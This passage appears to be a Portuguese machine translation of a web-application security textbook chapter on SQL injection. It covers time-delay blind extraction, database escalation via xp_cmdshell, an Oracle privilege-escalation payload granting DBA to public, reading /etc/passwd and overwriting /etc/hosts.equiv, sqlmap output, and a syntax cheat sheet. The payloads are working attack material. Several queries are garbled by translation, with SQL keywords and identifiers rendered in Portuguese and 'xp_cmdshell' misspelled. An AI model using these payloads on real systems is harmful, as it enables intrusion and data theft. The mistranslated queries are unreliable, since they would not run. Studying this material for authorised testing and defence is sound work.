Apesar de todas as técnicas sofisticadas já descritas, ainda pode haver situações em que nenhum desses truques seja eficaz. Em alguns casos, você poderá injetar uma consulta que não retorne nenhum resultado ao navegador, que não possa ser usada para abrir um canal fora da banda e que não tenha nenhum efeito sobre o comportamento do aplicativo, mesmo que induza um erro no próprio banco de dados.

Nessa situação, nem tudo está perdido, graças a uma técnica inventada por Chris Anley e Sherief Hammad da NGSSoftware. Eles criaram uma maneira de elaborar uma consulta que causaria um atraso, dependendo de alguma condição especificada pelo invasor. O invasor pode enviar sua consulta e monitorar o tempo que o servidor leva para responder. Se ocorrer um atraso, o invasor poderá inferir que a condição é verdadeira. Mesmo que o conteúdo real da resposta do aplicativo seja idêntico nos dois casos, a presença ou ausência de um atraso permite que o invasor extraia um único bit de informação do banco de dados. Ao realizar várias consultas desse tipo, o invasor pode recuperar sistematicamente dados arbitrariamente complexos do banco de dados, um bit de cada vez.

O meio exato de induzir um atraso de tempo adequado depende do banco de dados de destino que está sendo usado. O MS-SQL contém um comando `WAITFOR` integrado, que pode ser usado para causar um atraso de tempo especificado. Por exemplo, a consulta a seguir causa um atraso de 5 segundos se o usuário atual do banco de dados for `sa`:

```
if (select user) = 'sa' waitfor delay '0:0:5'
```

Equipado com esse comando, o invasor pode recuperar informações arbitrárias de várias maneiras. Um método é aproveitar a mesma técnica já descrita para o caso em que o aplicativo retorna respostas condicionais. Agora, em vez de acionar uma resposta diferente do aplicativo quando uma determinada condição é detectada, a consulta injetada induz a um atraso de tempo. Por exemplo, a segunda dessas consultas causa um atraso de tempo, indicando que a primeira letra da cadeia de caracteres capturada é A:

```
if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5' if
ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'
```

Como antes, o invasor pode percorrer todos os valores possíveis para cada caractere até que ocorra um atraso de tempo. Como alternativa, o ataque poderia se tornar mais eficiente reduzindo o número de solicitações necessárias. Uma técnica adicional é dividir cada byte de dados em bits individuais e recuperar cada bit em uma única consulta. O comando `POWER` e o operador `AND` bit a bit `&` podem ser usados para especificar as condições em uma base bit a bit. Por exemplo, a consulta a seguir testa o primeiro bit do primeiro byte dos dados capturados e faz uma pausa se ele for 1:

```
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,0))) > 0 waitfor delay '0:0:5'
```

A consulta a seguir executa o mesmo teste no segundo bit:

```
if (ASCII(SUBSTRING('Admin',1,1)) & (POWER(2,1))) > 0 waitfor delay '0:0:5'
```

Conforme mencionado anteriormente, os meios de induzir um atraso de tempo são altamente dependentes do banco de dados. Nas versões atuais do MySQL, a função sleep pode ser usada para criar um atraso de tempo para um número especificado de milissegundos:

```
select if(user() like 'root@%', sleep(5000), 'false')
```

Nas versões do MySQL anteriores à 5.0.12, a função sleep não pode ser usada. Uma alternativa é a função de benchmark, que pode ser usada para executar uma ação específica repetidamente. Instruir o banco de dados a executar uma ação que exige muito do processador, como um hash SHA-1, muitas vezes resultará em um atraso mensurável. Por exemplo:

```
select if(user() like 'root@%', benchmark(50000,sha1('test')), 'false')
```

No PostgreSQL, a função `PG_SLEEP` pode ser usada da mesma forma que a função sleep do MySQL.

O Oracle não tem um método interno para executar um atraso de tempo, mas você pode usar outros truques para fazer com que ocorra um atraso de tempo. Um truque é usar `UTL_HTTP` para

conectar-se a um servidor inexistente, causando um tempo limite. Isso faz com que o banco de dados tente se conectar ao servidor especificado e, por fim, atinja o tempo limite. Por exemplo:

```
SELECT 'a'||Utl_Http.request('http://madeupserver.com') from dual
...atraso...
ORA-29273: Falha na solicitação HTTP
ORA-06512: em "SYS.UTL_HTTP", linha 1556
ORA-12545: Falha na conexão porque o host ou objeto de destino não existe
```

Você pode aproveitar esse comportamento para causar um atraso dependente de alguma condição que você especificar. Por exemplo, a consulta a seguir causa um timeout se a conta Oracle padrão `DBSNMP` existir:

```
SELECT 'a'||Utl_Http.request('http://madeupserver.com') FROM dual WHERE (SELECT
 username FROM all_users WHERE username = 'DBSNMP') = 'DBSNMP'
```

Nos bancos de dados Oracle e MySQL, você pode usar as funções `SUBSTR(ING)` e `ASCII` para recuperar informações arbitrárias, um byte de cada vez, conforme descrito anteriormente.

DICA Descrevemos o uso de atrasos de tempo como um meio de extrair informações interessantes. No entanto, a técnica de atraso de tempo também pode ser extremamente útil ao realizar a sondagem inicial de um aplicativo para detectar vulnerabilidades de injeção de SQL. Em alguns casos de injeção de SQL completamente cega, em que nenhum resultado é retornado ao navegador e todos os erros são tratados de forma invisível, a vulnerabilidade em si pode ser difícil de detectar usando técnicas padrão baseadas no fornecimento de entrada criada. Nessa situação,
O uso de atrasos costuma ser a maneira mais confiável de detectar a presença de uma vulnerabilidade durante a sondagem inicial. Por e x e m p l o , se o banco de dados back-end for MS-SQL, você poderá injetar cada uma das seguintes cadeias de caracteres em cada parâmetro de solicitação e monitorar o tempo que o aplicativo leva para identificar qualquer vulnerabilidade:

```
'; waitfor delay '0:30:0'-- 1;
waitfor delay '0:30:0'--
```

EXPERIMENTE!

Este exemplo de laboratório contém uma vulnerabilidade de injeção de SQL sem retorno de erro. Você pode usá-lo para praticar várias técnicas avançadas, inclusive o uso de respostas condicionais e atrasos de tempo.

http://mdsec.net/addressbook/44/

Além da injeção de SQL: Aumentando o ataque ao banco de dados

Uma exploração bem-sucedida de uma vulnerabilidade de injeção de SQL geralmente resulta no comprometimento total de todos os dados do aplicativo. A maioria dos aplicativos emprega uma única conta para todo o acesso ao banco de dados e conta com controles de camada de aplicativo para impor a segregação de acesso entre diferentes usuários. A obtenção do uso irrestrito da conta do banco de dados do aplicativo resulta no acesso a todos os seus dados.

Portanto, você pode supor que a posse de todos os dados do aplicativo é o ponto final de um ataque de injeção de SQL. No entanto, há muitos motivos pelos quais pode ser produtivo avançar ainda mais no ataque, seja explorando uma vulnerabilidade no próprio banco de dados ou aproveitando algumas de suas funcionalidades internas para atingir seus objetivos. Outros ataques que podem ser realizados com o aumento do ataque ao banco de dados incluem os seguintes:

- Se o banco de dados for compartilhado com outros aplicativos, você poderá escalar os privilégios dentro do banco de dados e obter acesso aos dados de outros aplicativos.
- Talvez você consiga comprometer o sistema operacional do servidor de banco de dados.
- Talvez você consiga obter acesso à rede para outros sistemas. Normalmente, o servidor de banco de dados é hospedado em uma rede protegida por trás de várias camadas de defesas de perímetro de rede. A partir do servidor de banco de dados, você pode estar em uma posição confiável e conseguir acessar os principais serviços em outros hosts, que podem ser mais exploráveis.
- Você pode conseguir fazer conexões de rede de volta da infraestrutura de hospedagem para o seu próprio computador. Isso pode permitir que você ignore o aplicativo, transmitindo facilmente grandes quantidades de dados confidenciais coletados do banco de dados e, muitas vezes, evitando muitos sistemas de detecção de intrusão.
- Você pode estender a funcionalidade existente do banco de dados de forma arbitrária, criando funções definidas pelo usuário. Em algumas situações, isso pode permitir que você contorne o endurecimento que foi realizado no banco de dados, reimplementando efetivamente a funcionalidade que foi removida ou desativada. Há um método para fazer isso em cada um dos principais bancos de dados, desde que você tenha obtido privilégios de administrador de banco de dados (DBA).

MITO COMUM

Muitos administradores de banco de dados presumem que não é necessário defender o banco de dados contra ataques que exigem autenticação para serem explorados. Eles podem argumentar que o banco de dados é acessado apenas por um aplicativo confiável que pertence à mesma organização. Isso ignora a possibilidade de que uma falha no aplicativo possa permitir que um terceiro mal-intencionado interaja com o banco de dados dentro do contexto de segurança do aplicativo. Cada um dos possíveis ataques descritos acima deve ilustrar por que os bancos de dados precisam ser defendidos contra atacantes autenticados.

O ataque a bancos de dados é um tópico enorme que está além do escopo deste livro. Esta seção indica algumas maneiras importantes pelas quais as vulnerabilidades e a funcionalidade dos principais tipos de banco de dados podem ser aproveitadas para aumentar o seu ataque. A principal conclusão a ser tirada é que todo banco de dados contém maneiras de aumentar os privilégios. A aplicação de patches de segurança atuais e o fortalecimento robusto podem ajudar a atenuar muitos desses ataques, mas não todos. Para ler mais sobre essa área altamente frutífera da pesquisa atual, recomendamos *o The Database Hacker's Handbook* (Wiley, 2005).

MS-SQL

Talvez a parte mais notória da funcionalidade do banco de dados que um invasor pode usar indevidamente seja o procedimento armazenado `xp_cmdshell`, que é incorporado ao MS-SQL por padrão. Esse procedimento armazenado permite que os usuários com permissões de DBA executem comandos do sistema operacional da mesma forma que o prompt de comando `cmd.exe`. Por exemplo:

```
master..xp_cmdshell 'ipconfig > foo.txt'
```

A oportunidade de um invasor fazer mau uso dessa funcionalidade é enorme. Ele pode executar comandos arbitrários, canalizar os resultados para arquivos locais e lê-los de volta. Ele pode abrir conexões de rede fora de banda para si mesmo e criar um comando de backdoor e um canal de comunicação, copiando dados do servidor e fazendo upload de ferramentas de ataque. Como o MS-SQL é executado por padrão como `LocalSystem`, o invasor normalmente pode comprometer totalmente o sistema operacional subjacente, executando ações arbitrárias. O MS-SQL contém uma grande quantidade de outros procedimentos armazenados estendidos, como `xp_regread` e `xp_regwrite`, que podem ser usados para executar ações poderosas no registro do sistema operacional Windows.

Como lidar com o bloqueio padrão

A maioria das instalações do MS-SQL encontradas na Internet será do MS-SQL 2005 ou posterior. Essas versões contêm vários recursos de segurança que bloqueiam o banco de dados por padrão, impedindo o funcionamento de muitas técnicas de ataque úteis. No entanto, se a conta de usuário do aplicativo Web no banco de dados tiver privilégios suficientemente altos, é possível superar esses obstáculos simplesmente reconfigurando o banco de dados. Por exemplo, se o `xp_cmdshell` estiver desativado, ele poderá ser reativado com o procedimento armazenado `sp_configure`. As quatro linhas a seguir do SQL fazem isso:

```
EXECUTE sp_configure 'show advanced options', 1
RECONFIGURE WITH OVERRIDE
EXECUTE sp_configure 'xp_cmdshell', '1'
RECONFIGURE WITH OVERRIDE
```

Nesse ponto, o `xp_cmdshell` é reativado e pode ser executado com o comando usual:

```
exec xp_cmdshell 'dir'
```

Oráculo

Um grande número de vulnerabilidades de segurança foi encontrado no próprio software do banco de dados Oracle. Se você encontrou uma vulnerabilidade de injeção de SQL que permite a realização de consultas arbitrárias, normalmente você pode escalar para privilégios de DBA explorando uma dessas vulnerabilidades.

O Oracle contém muitos procedimentos armazenados incorporados que são executados com privilégios de DBA e que contêm falhas de injeção de SQL nos próprios procedimentos. Um exemplo típico desse tipo de falha existia no pacote padrão `SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES` antes da atualização de julho de 2006.
atualização crítica do patch. Isso pode ser explorado para aumentar os privilégios, injetando a consulta `grant DBA to public` no campo vulnerável:

```
selecione SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('INDX','SCH',
'TEXTINDEXMETHODS".ODCIIndexUtilCleanup(:p1); execute immediate ''declare
pragma autonomous_transaction; begin execute immediate ''''grant dba to
public'''' ; end;''; END;--','CTXSYS',1,'1',0) from dual
```

Esse tipo de ataque pode ser realizado por meio de uma falha de injeção de SQL em um aplicativo da Web, injetando a função no parâmetro vulnerável.

Além de vulnerabilidades reais como essas, o Oracle também contém uma grande quantidade de funcionalidades padrão. Ela pode ser acessada por usuários com poucos privilégios e pode ser usada para executar ações indesejáveis, como iniciar conexões de rede ou acessar o sistema de arquivos. Além dos pacotes avançados já descritos para criar conexões fora da banda, o pacote `UTL_FILE` pode ser usado para ler e gravar em arquivos no sistema de arquivos do servidor de banco de dados.

Em 2010, David Litchfield demonstrou como o Java pode ser usado de forma abusiva no Oracle 10g R2 e 11g para executar comandos do sistema operacional. Esse ataque primeiro explora uma falha em `DBMS_JVM_EXP_PERMS.TEMP_JAVA_POLICY` para conceder ao usuário atual a permissão `java.io.filepermission`. Em seguida, o ataque executa uma classe Java (`oracle/aurora/util/Wrapper`) que executa um comando do sistema operacional, usando `DBMS_JAVA. RUNJAVA`. Por exemplo:

```
DBMS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\\system32\\
cmd.exe /c dir>c:\\OUT.LST')
```

Mais detalhes podem ser encontrados aqui:

- www.databasesecurity.com/HackingAurora.pdf
- www.notsosecure.com/folder2/2010/08/02/blackhat-2010/

MySQL

Em comparação com os outros bancos de dados abordados, o MySQL contém relativamente pouca funcionalidade integrada que um invasor pode usar indevidamente. Um exemplo é a capacidade de qualquer usuário com a permissão `FILE_PRIV` de ler e gravar no sistema de arquivos.

O comando `LOAD_FILE` pode ser usado para recuperar o conteúdo de qualquer arquivo. Por exemplo:

```
select load_file('/etc/passwd')
```

O comando `SELECT ... INTO OUTFILE` pode ser usado para canalizar os resultados de qualquer consulta para um arquivo. Por exemplo:

```
create table test (a varchar(200))
insert into test(a) values ('+ +')
select * from test into outfile '/etc/hosts.equiv'
```

Além de ler e gravar os principais arquivos do sistema operacional, esse recurso pode ser usado para realizar outros ataques:

- Como o MySQL armazena seus dados em arquivos de texto simples, aos quais o banco de dados deve ter acesso de leitura, um invasor com permissões `FILE_PRIV` pode simplesmente abrir o arquivo relevante e ler dados arbitrários de dentro do banco de dados, ignorando qualquer controle de acesso aplicado no próprio banco de dados.
- O MySQL permite que os usuários criem funções definidas pelo usuário (UDFs) chamando um arquivo de biblioteca compilado que contém a implementação da função. Esse arquivo deve estar localizado dentro do caminho normal a partir do qual o MySQL carrega as bibliotecas dinâmicas. Um invasor pode usar o método anterior para criar um arquivo binário arbitrário dentro desse caminho e, em seguida, criar uma UDF que o utilize. Consulte o artigo de Chris Anley "Hackproofing MySQL" para obter mais detalhes sobre essa técnica.

Uso de ferramentas de exploração de SQL

Muitas das técnicas que descrevemos para explorar as vulnerabilidades de injeção de SQL envolvem a execução de um grande número de solicitações para extrair pequenas quantidades de dados de cada vez. Felizmente, há várias ferramentas disponíveis que automatizam grande parte desse processo e que estão cientes da sintaxe específica do banco de dados necessária para realizar ataques bem-sucedidos.

A maioria das ferramentas disponíveis atualmente usa a seguinte abordagem para explorar vulnerabilidades de injeção de SQL:

- Aplique força bruta em todos os parâmetros da solicitação de destino para localizar pontos de injeção de SQL.

- Determine o local do campo vulnerável na consulta SQL de back-end anexando vários caracteres, como colchetes de fechamento, caracteres de comentário e palavras-chave SQL.
- Tentativa de realizar um ataque `UNION` por meio de força bruta do número de colunas necessárias e, em seguida, identificando uma coluna com o tipo de dados `varchar`, que pode ser usada para retornar resultados.
- Injete consultas personalizadas para recuperar dados arbitrários - se necessário, concatene dados de várias colunas em uma string que possa ser recuperada por meio de um único resultado do tipo de dados `varchar`.
- Se os resultados não puderem ser recuperados usando `UNION`, injete condições booleanas (`AND 1=1`, `AND 1=2` e assim por diante) na consulta para determinar se as respostas condicionais podem ser usadas para recuperar dados.
- Se os resultados não puderem ser recuperados com a injeção de expressões condicionais, tente usar atrasos condicionais para recuperar os dados.

Essas ferramentas localizam dados consultando as tabelas de metadados relevantes para a base de dados em questão. Em geral, elas podem executar algum nível de escalonamento, como o uso do `xp_cmdshell` para obter acesso no nível do sistema operacional. Elas também usam várias técnicas de otimização, fazendo uso dos muitos recursos e funções incorporadas nos vários bancos de dados para diminuir o número de consultas necessárias em um ataque de força bruta baseado em inferência, evitando possíveis filtros em aspas simples e muito mais.

OBSERVAÇÃO: essas ferramentas são principalmente ferramentas de exploração, mais adequadas para extrair dados do banco de dados por meio da exploração de um ponto de injeção que você já identificou e compreendeu. Elas não são uma solução mágica para encontrar e explorar falhas de injeção de SQL. Na prática, muitas vezes é necessário fornecer alguma sintaxe SQL adicional antes e/ou depois dos dados injetados pela ferramenta para que os ataques codificados da ferramenta funcionem.

ETAPAS DO HACK

Depois de identificar uma vulnerabilidade de injeção de SQL, usando as técnicas descritas anteriormente neste capítulo, você pode considerar o uso de uma ferramenta de injeção de SQL para explorar a vulnerabilidade e recuperar dados interessantes do banco de dados. Essa opção é particularmente útil nos casos em que você precisa usar técnicas cegas para recuperar uma pequena quantidade de dados de cada vez.

1. Execute a ferramenta de exploração de SQL usando um proxy de interceptação. Analise as solicitações feitas pela ferramenta, bem como as respostas do aplicativo. Ative todas as opções de saída detalhada na ferramenta e correlacione seu progresso com as consultas e respostas observadas.

Continuação

PASSOS DO HACK *(CONTINUAÇÃO)*

2. Como esses tipos de ferramentas dependem de testes predefinidos e de uma sintaxe de resposta específica, pode ser necessário anexar ou prefixar dados à cadeia de caracteres injetada pela ferramenta para garantir que ela obtenha a resposta esperada. Os requisitos típicos são adicionar um caractere de comentário, equilibrar as aspas simples dentro da consulta SQL do servidor e anexar ou prefixar colchetes de fechamento à cadeia de caracteres para corresponder à consulta original.
3. Se a sintaxe parecer estar falhando independentemente dos métodos descritos aqui, geralmente é mais fácil criar uma subconsulta aninhada que esteja totalmente sob seu controle e permitir que a ferramenta a injete. Isso permite que a ferramenta use a inferência para extrair dados. As consultas aninhadas funcionam bem quando você as injeta em consultas **SELECT** e **UPDATE** padrão. No Oracle, elas funcionam em uma instrução **INSERT**. Em cada um dos casos a seguir, acrescente o texto que ocorre antes de **[input]** e acrescente o colchete de fechamento que ocorre após esse ponto:
   - Oracle: **'||(select 1 from dual where 1=[input])**
   - MS-SQL: **(select 1 where 1=[input])**

Existem várias ferramentas para a exploração automatizada da injeção de SQL. Muitas delas são voltadas especificamente para o MS-SQL, e muitas deixaram de ser desenvolvidas e foram superadas por novas técnicas e desenvolvimentos em injeção de SQL. O favorito dos autores é o sqlmap, que pode atacar o MySQL, o Oracle e o MS-SQL, entre outros. Ele implementa a recuperação baseada em `UNION` e em inferência. Ele oferece suporte a vários métodos de escalonamento, incluindo a recuperação de arquivos do sistema operacional e a execução de comandos no Windows usando `xp_cmdshell`.

Na prática, o sqlmap é uma ferramenta eficaz para a recuperação de informações do banco de dados por meio de atraso de tempo ou outros métodos de inferência e pode ser útil para a recuperação baseada em `UNION`. Uma das melhores maneiras de usá-lo é com a opção `--sql-shell`. Isso dá ao invasor um prompt SQL e executa o `UNION` necessário, baseado em erro ou injeção cega de SQL nos bastidores para enviar e recuperar resultados. Por exemplo:

```
C:\sqlmap>sqlmap.py -u http://wahh-app.com/employees?Empno=7369 --union-use
 --sql-shell -p Empno

    sqlmap/0.8 - ferramenta automática de injeção de SQL e controle de banco de dados
    http://sqlmap.sourceforge.net

[*] começando em: 14:54:39

[14:54:39] [INFO] usando 'C:\sqlmap\output\wahh-app.com\session'
 como arquivo de sessão
[14:54:39] [INFO] testando a conexão com a url de destino
[14:54:40] [ADVERTÊNCIA] o parâmetro testável 'Empno' que você forneceu não é
```

```
no Cookie
[14:54:40] [INFO] testando se o URL está estável, aguarde alguns segundos
[14:54:44] [INFO] o URL está estável
[14:54:44] [INFO] testando injeção de sql no parâmetro GET 'Empno' com 0 parênteses
[14:54:44] [INFO] testando injeção numérica sem escape no parâmetro GET
'Empno'
[14:54:46] [INFO] confirmando injeção numérica sem escape no
parâmetro GET 'Empno'
[14:54:47] [INFO] O parâmetro GET 'Empno' é um parâmetro numérico injetável
sem escape com 0
 parênteses
[14:54:47]  [INFO]  testando  parênteses  no  parâmetro  injetável
[14:54:50] [INFO] o parâmetro injetável requer 0 parênteses [14:54:50]
[INFO] testando o MySQL
[14:54:51] [WARNING] o DMBS de back-end não é MySQL [14:54:51]
[INFO] testando o Oracle
[14:54:52] [INFO] confirmando Oracle [14:54:53]
[INFO] o DBMS de back-end é o sistema
operacional do servidor da Web Oracle: Windows
2000
Tecnologia de aplicativos da Web: ASP, Microsoft IIS
5.0 DBMS de back-end: Oracle

[14:54:53] [INFO] testando injeção sql interna no parâmetro 'Empno' com NULL
 técnica de força bruta
[14:54:58] [INFO] confirmando a injeção completa de sql na banda no
parâmetro 'Empno'
[14:55:00] [INFO] O URL de destino é afetado por uma banda interna
completa explorável
 vulnerabilidade de injeção de sql
valid union:     'http://wahh-app.com:80/employees.asp?Empno=7369%20
UNION%20ALL%20SEL ECT%20NULL%2C%20NULL%2C%20NULL%2C%20NULL%20FROM%20DUAL-
-%20AND%20 3663=3663'

[14:55:00] [INFO] chamando o shell do Oracle. Para sair, digite 'x' ou
'q' e pressione ENTER
sql-shell> select banner from v$version
Você deseja recuperar a saída da instrução SQL? [Y/n]
[14:55:19] [INFO] obtendo a saída da consulta da instrução SQL SELECT: 'select
 banner from v$version'
select banner from v$version [5]:
[*] CORE9        .2.0.1.0         Produção
[*] NLSRTL Versão 9.2.0.1.0 - Produção
[*] Oracle9i Enterprise Edition versão 9.2.0.1.0 - Produção [*]
PL/SQL versão 9.2.0.1.0 - Produção
[*] TNS para Windows de 32 bits: Versão 9.2.0.1.0 - Produção

sql-shell>
```

Sintaxe SQL e referência de erros

Descrevemos várias técnicas que permitem sondar e explorar vulnerabilidades de injeção de SQL em aplicativos da Web. Em muitos casos, há pequenas diferenças entre a sintaxe que você precisa empregar em diferentes plataformas de banco de dados back-end. Além disso, cada banco de dados produz mensagens de erro diferentes, cujo significado você precisa entender tanto ao procurar falhas quanto ao tentar criar uma exploração eficaz. As páginas a seguir contêm uma breve folha de dicas que você pode usar para procurar a sintaxe exata necessária para uma tarefa específica e para decifrar as mensagens de erro desconhecidas que encontrar.

Sintaxe SQL

Requisitos:	`ASCII` e `SUBSTRING`
Oracle:	`ASCII('A')` é igual a `65` `SUBSTR('ABCDE',2,3)` é igual a `BCD`
MS-SQL:	`ASCII('A')` é igual a `65` `SUBSTRING('ABCDE',2,3)` é igual a `BCD`
MySQL:	`ASCII('A')` é igual a `65` `SUBSTRING('ABCDE',2,3)` é igual a `BCD`

Requisito:	Recuperar o usuário atual do banco de dados
Oracle:	`Select Sys.login_user from dual SELECT user FROM dual SYS_CONTEXT('USERENV', 'SESSION_USER')`
MS-SQL:	`select suser_sname()`
MySQL:	`SELECT user()`

Requisito:	Causar um atraso de tempo
Oracle:	`Utl_Http.request('http://madeupserver.com')`
MS-SQL:	`waitfor delay '0:0:10'` `exec master..xp_cmdshell 'ping localhost'`
MySQL:	`sleep(100)`

Requisito:	Recuperar a string de versão do banco de
dados Oracle:	`select banner from v$version`
MS-SQL:	`select @@version`
MySQL:	`select @@version`

Requisito:	Recuperar o banco de dados atual
Oracle:	`SELECT SYS_CONTEXT('USERENV','DB_NAME') FROM dual`

MS-SQL:	`SELECT nome_do_db()`
	O nome do servidor pode ser recuperado usando:
	`SELECIONE @@servername`

MySQL:	`SELECT database()`

Requisito:	Recuperar o privilégio do usuário atual
Oracle:	`SELECT privilege FROM session_privs`
MS-SQL:	`SELECT grantee, table_name, privilege_type FROM INFORMATION_SCHEMA.TABLE_PRIVILEGES`
MySQL:	`SELECT * FROM information_schema.user_privileges WHERE grantee = '[user]'` where `[user]` is determined from the output of `SELECT user()`

Requisito:	Mostrar todas as tabelas e colunas em uma única coluna de
resultados Oracle:	`Selecione nome_da_tabela||' '||nome_da_coluna de todas_as_tabelas_colunas`
MS-SQL:	`SELECT nome_da_tabela+' '+nome_da_coluna from information_schema.columns`
MySQL:	`SELECT CONCAT(nome_da_tabela, ',nome_da_coluna) from information_schema.columns`

Requisito:	Mostrar objetos do usuário
Oracle:	`SELECT nome_do_objeto, tipo_do_objeto FROM objetos_do_usuário`
MS-SQL:	`SELECT name FROM sysobjects`
MySQL:	`SELECT table_name FROM information_schema.tables` (ou trigger_name de `information_schema.triggers`, etc.)

Continuação

(continuação)

Requisito:	Mostrar tabelas de usuários

Oracle:	`SELECT nome_do_objeto, tipo_do_objeto FROM objetos_do_usuário WHERE tipo_do_objeto='TABLE'`
	Ou para mostrar todas as tabelas às quais o usuário tem acesso:
	`SELECT nome_da_tabela FROM todas_tabelas`

MS-SQL:	`SELECT name FROM sysobjects WHERE xtype='U'`
MySQL:	`SELECT table_name FROM information_schema. tables where table_type='BASE TABLE' and table_schema!='mysql'`

Requisito:	Mostrar os nomes das colunas da tabela foo
Oracle:	`SELECT column_name, name FROM user_tab_columns WHERE table_name = 'FOO'` Use a tabela `ALL_tab_columns` se os dados de destino não forem de propriedade do usuário atual do aplicativo.
MS-SQL:	`SELECT column_name FROM information_schema.columns WHERE table_name='foo'`
MySQL:	`SELECT column_name FROM information_schema.columns WHERE table_name='foo'`

Requisitos:	Interagir com o sistema operacional (formas mais simples)
Oracle:	Consulte *The Oracle Hacker's Handbook*, de David Litchfield
MS-SQL:	`EXEC xp_cmshell 'dir c:\ '`
MySQL:	`SELECT load_file('/etc/passwd')`

Mensagens de erro do SQL

Oracle:	`ORA-01756: string entre aspas não terminada corretamente ORA-00933: O comando SQL não foi encerrado corretamente`
MS-SQL:	`Msg 170, Nível 15, Estado 1, Linha 1 Linha 1: sintaxe incorreta perto de 'foo' Msg 105, Level 15, State 1, Line 1 Aspas não fechadas antes da cadeia de caracteres 'foo'`

MySQL:	`Há um erro em sua sintaxe SQL. Verifique o manual que corresponde à versão do seu servidor MySQL para saber a sintaxe correta a ser usada perto de ''foo'' na linha X`
Tradução:	Para Oracle e MS-SQL, a injeção de SQL está presente e é quase certamente explorável! Se você inseriu uma aspa simples e ela alterou a sintaxe da consulta ao banco de dados, esse é o erro esperado. Para o MySQL, a injeção de SQL pode estar presente, mas a mesma mensagem de erro pode aparecer em outros contextos.

Oracle:	`PLS-00306: número ou tipos de argumentos incorretos na chamada para 'XXX'`
MS-SQL:	`O procedimento 'XXX' espera o parâmetro '@YYY', que não foi fornecido`
MySQL:	N/A
Tradução:	Você comentou ou removeu uma variável que normalmente seria fornecida ao banco de dados. No MS-SQL, você deve ser capaz de usar técnicas de atraso de tempo para executar a recuperação arbitrária de dados.

Oracle:	`ORA-01789: o bloco de consulta tem um número incorreto de colunas de resultado`
MS-SQL:	`Msg 205, Nível 16, Estado 1, Linha 1` `Todas as consultas em uma instrução SQL contendo um operador UNION devem ter um número igual de expressões em suas listas de destino.`
MySQL:	`Os comandos SELECT usados têm um número diferente de colunas`
Tradução:	Você verá isso quando estiver tentando um ataque `UNION SELECT` e tiver especificado um número diferente de colunas em relação ao número no comando `SELECT` original.

Oracle:	`ORA-01790: a expressão deve ter o mesmo tipo de dados que a expressão correspondente`
MS-SQL:	`Msg 245, Nível 16, Estado 1, Linha 1` `Erro de sintaxe ao converter o valor varchar 'foo' em uma coluna do tipo de dados int.`
MySQL:	(O MySQL não lhe dará um erro).
Tradução:	Você verá isso quando estiver tentando um ataque `UNION SELECT` e tiver especificado um tipo de dados diferente daquele encontrado na instrução `SELECT` original. Tente usar um `NULL`, ou usar `1` ou `2000`.

Continuação

(continuação)

Oracle:	`ORA-01722: número inválido` `ORA-01858: foi encontrado um caractere não numérico onde se esperava um numérico`
MS-SQL:	`Msg 245, Nível 16, Estado 1, Linha 1` `Erro de sintaxe ao converter o valor varchar 'foo' em uma coluna do tipo de dados int.`
MySQL:	(O MySQL não lhe dará um erro).
Tradução:	Sua entrada não corresponde ao tipo de dados esperado para o campo. Você pode ter injeção de SQL e talvez não precise de uma aspa simples, portanto, tente simplesmente inserir um número seguido do SQL a ser injetado. No MS-SQL, você deve ser capaz de retornar qualquer valor de cadeia de caracteres com essa mensagem de erro.

Oracle:	`ORA-00923: A palavra-chave FROM não foi encontrada onde era esperado`
MS-SQL:	N/A
MySQL:	N/A

Tradução:	O seguinte funcionará no MS-SQL:
	`SELEÇÃO 1`
	Mas no Oracle, se você quiser retornar algo, deverá selecionar em uma tabela. A tabela `DUAL` serve perfeitamente:
	`SELECIONAR 1 do DUAL`

Oracle:	`ORA-00936: expressão ausente`
MS-SQL:	`Msg 156, Level 15, State 1, Line 1Sintaxe incorreta perto da palavra-chave 'from'.`
MySQL:	`Há um erro em sua sintaxe SQL. Verifique o manual que corresponde à versão do seu servidor MySQL para saber a sintaxe correta a ser usada perto de ' XXX , YYY from SOME_TABLE' na linha 1`
Tradução:	É comum ver essa mensagem de erro quando o ponto de injeção ocorre antes da palavra-chave `FROM` (por exemplo, você injetou nas colunas a serem retornadas) e/ou usou a palavra-chave com- para remover as palavras-chave SQL necessárias. Tente completar a instrução SQL você mesmo usando o caractere de comentário. O MySQL deve revelar de forma útil os nomes das colunas XXX, YYY quando essa condição for encontrada.

Oracle:	ORA-00972:identificador é muito longo
MS-SQL:	Os dados de cadeia de caracteres ou binários seriam truncados.
MySQL:	N/A
Tradução:	Isso não indica injeção de SQL. Você poderá ver essa mensagem de erro se tiver inserido uma cadeia longa. Também é improvável que ocorra um buffer overflow aqui, pois o banco de dados está tratando sua entrada com segurança.

Oracle:	ORA-00942: tabela ou visualização não existe
MS-SQL:	Msg 208, Level 16, State 1, Line 1 Nome de objeto inválido 'foo'
MySQL:	A tabela 'DBNAME.SOMETABLE' não existe
Tradução:	Ou você está tentando acessar uma tabela ou visualização que não existe ou, no caso do Oracle, o usuário do banco de dados não tem privilégios para a tabela ou visualização. Teste sua consulta em uma tabela à qual você sabe que tem acesso, como a DUAL. O MySQL deve revelar o esquema atual do banco de dados DBNAME quando essa condição for encontrada.

Oracle:	ORA-00920: operador relacional inválido
MS-SQL:	Msg 170, Level 15, State 1, Line 1 Line 1: Sintaxe incorreta perto de foo
MySQL:	Há um erro em sua sintaxe SQL. Verifique o que corresponde à sua versão do servidor MySQL para saber a sintaxe correta a ser usada perto de '' na linha 1
Tradução:	Você provavelmente estava alterando algo em uma cláusula WHERE e sua tentativa de injeção de SQL interrompeu a gramática.

Oracle:	ORA-00907: parêntese direito ausente
MS-SQL:	N/A
MySQL:	Há um erro na sintaxe do SQL. Consulte o manual correspondente à sua versão do servidor MySQL para obter a sintaxe correta a ser usada perto de '' na linha 1
Tradução:	Sua tentativa de injeção de SQL funcionou, mas o ponto de injeção estava dentro de parênteses. Você provavelmente comentou o fechamento da tese de parênteses com caracteres de comentário injetados (--).

Continuação

(continuação)

Oracle:	`ORA-00900: instrução SQL inválida`

MS-SQL:	`Msg 170, Level 15, State 1, Line 1`
	`Line 1: Sintaxe incorreta perto de`
	`foo`

MySQL:	`Há um erro em sua sintaxe SQL. Verifique o que corresponde à sua versão do servidor MySQL para saber a sintaxe correta a ser usada perto de XXXXXX`
